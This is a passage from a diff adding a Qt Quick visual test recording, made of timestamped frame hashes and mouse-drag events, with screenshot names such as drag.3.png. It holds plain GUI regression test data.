+ msec: 2208
+ hash: "c1146fdc0e628d050442606096e52b10"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 252; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2224
+ hash: "22f44c43f300fd7ff2b4d87d93756178"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 272; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2240
+ hash: "bf11dc9a9679692abde5d116a169eecf"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 299; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 329; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2256
+ hash: "e63f1960f342639ac412010ffcefb049"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 360; y: 57
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2272
+ hash: "ae0228419ec9358025c3026a39abd671"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 392; y: 65
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2288
+ hash: "6d2272e2bea21c280100ed8de5b95d4e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 422; y: 72
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 451; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2304
+ hash: "1628c6fa5feabd90924452bc9f55054d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 476; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2320
+ hash: "f696791eb0a317b0efb69407616bec9f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 497; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2336
+ hash: "f696791eb0a317b0efb69407616bec9f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 513; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 527; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2352
+ hash: "1628c6fa5feabd90924452bc9f55054d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 538; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2368
+ hash: "a5d3d247e22a2852a60fe07ab40345a5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 548; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2384
+ hash: "a453fb6bcdd87f819782d8d8c46b56ee"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 556; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 563; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2400
+ hash: "a5d3d247e22a2852a60fe07ab40345a5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 570; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2416
+ hash: "1628c6fa5feabd90924452bc9f55054d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 576; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2432
+ hash: "f696791eb0a317b0efb69407616bec9f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 582; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 585; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2448
+ hash: "8f061986df633c21dcad767ee857988c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 589; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2464
+ hash: "2cc110a6fb800171d7d752693ede1e4e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 592; y: 82
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2480
+ hash: "319fc3053e02a8b161f33a79d9839bb1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 595; y: 85
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 597; y: 89
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2496
+ hash: "42915c8866746316cf1083a2d55410fb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 601; y: 95
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2512
+ hash: "5df34b3ae292de9a9cd8ff09347e7bd4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 606; y: 103
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2528
+ hash: "1f9bc3c955983ea85f568797cb4f7365"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 609; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 613; y: 124
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2544
+ hash: "3f156dc64a12c672874acf5456ef4a31"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 618; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2560
+ hash: "d4d9fe5b5f138e06a87039ebf8695d03"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 619; y: 142
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2576
+ hash: "383fe813021ee2791930200b2f88a802"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 620; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 622; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2592
+ hash: "a235544bd5e791dfa329bd0b87358bfa"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 625; y: 163
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2608
+ hash: "a87497cf47db3209610b532efe7eb380"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 629; y: 174
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2624
+ hash: "abe69b4e4b7508028226f9b73c38058a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 634; y: 194
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 642; y: 225
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2640
+ hash: "51c72fa2fa4c8765d882fe65dc0d697d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 649; y: 260
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2656
+ hash: "79da7ed21bd6fc16b7264d4403e763cc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 655; y: 291
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2672
+ hash: "b2828b6340a57fa45416469b23b7cef0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 658; y: 316
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 659; y: 340
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2688
+ hash: "64a5351f2d746b338c34c7ea9ba6e1fe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 660; y: 370
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2704
+ hash: "9eedb7a6875210084fd2ec95d3505512"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 661; y: 408
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2720
+ hash: "b88eb8fa8a0cfc263dc7b655ddc29db0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 661; y: 448
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2736
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 660; y: 487
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 659; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2752
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 658; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2768
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 658; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2784
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 658; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 658; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2800
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 657; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2816
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 656; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2832
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 654; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 652; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2848
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 651; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2864
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 650; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2880
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 650; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 648; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2896
+ image: "drag.3.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 647; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2912
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 646; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2928
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 645; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 644; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2944
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 643; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2960
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 642; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2976
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 641; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 640; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2992
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 640; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3008
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 639; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3024
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 639; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 638; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3040
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 636; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3056
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 625; y: 505
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3072
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 611; y: 505
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3088
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 582; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 546; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3104
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 505; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3120
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 460; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3136
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 408; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 354; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3152
+ hash: "c2997fdde10812f02791bfed5f158ac3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 300; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3168
+ hash: "23a6dfbd09e5b44d04f252cedaeb68af"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 250; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3184
+ hash: "f74422989711f86a0840ffc98e8a29e9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 163; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3200
+ hash: "fa922246d254a7c46d2d1d6ec91a2b02"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3216
+ hash: "ef216cb8c2bf58db7d58bd8a2e4eb38d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 101; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3232
+ hash: "a383228d22e64b8a7758c959288eaca8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3248
+ hash: "636ca2a8e91c49ef6c8b1c93b830f345"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 36; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 16; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3264
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -1; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3280
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3296
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3312
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3328
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3344
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3360
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3376
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 505
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3392
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 504
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 504
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3408
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 505
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3424
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3440
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3456
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3472
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3488
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3504
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3520
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3536
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3552
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Frame {
+ msec: 3568
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3584
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3600
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3616
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Frame {
+ msec: 3632
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 491
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3648
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 428
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3664
+ hash: "9fa1e3686467f28cb013fe093dab388c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 342
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3680
+ hash: "7ef97d10862f80d53e0b3b4446661deb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 264
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 203
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3696
+ hash: "c679866b3965b7b5f48b843d6efccf42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3712
+ hash: "de4bd9ad3cbb9bb19bf75f871b044072"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3728
+ hash: "c5349bbddc03edd5ee3537e2a738f1ad"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 132
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3744
+ hash: "bcbe9ec2687a6030385f08d3dc17becf"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3760
+ hash: "3ad767f63eaccb9e64a9f704900f2530"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 129
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3776
+ hash: "421a1ffde15fda0e7846bc095ed2ea37"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 128
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 128
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3792
+ hash: "55c260da304a6b1119af83f6a4efcff0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 123
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3808
+ hash: "f231cc521db801b4ec71248812e12db8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 104
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3824
+ hash: "b489b6b604e7f7699cac9e42d0725323"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 68
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3840
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 13
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3856
+ image: "drag.4.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 2
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3872
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3888
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3904
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3920
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -65
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3936
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3952
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
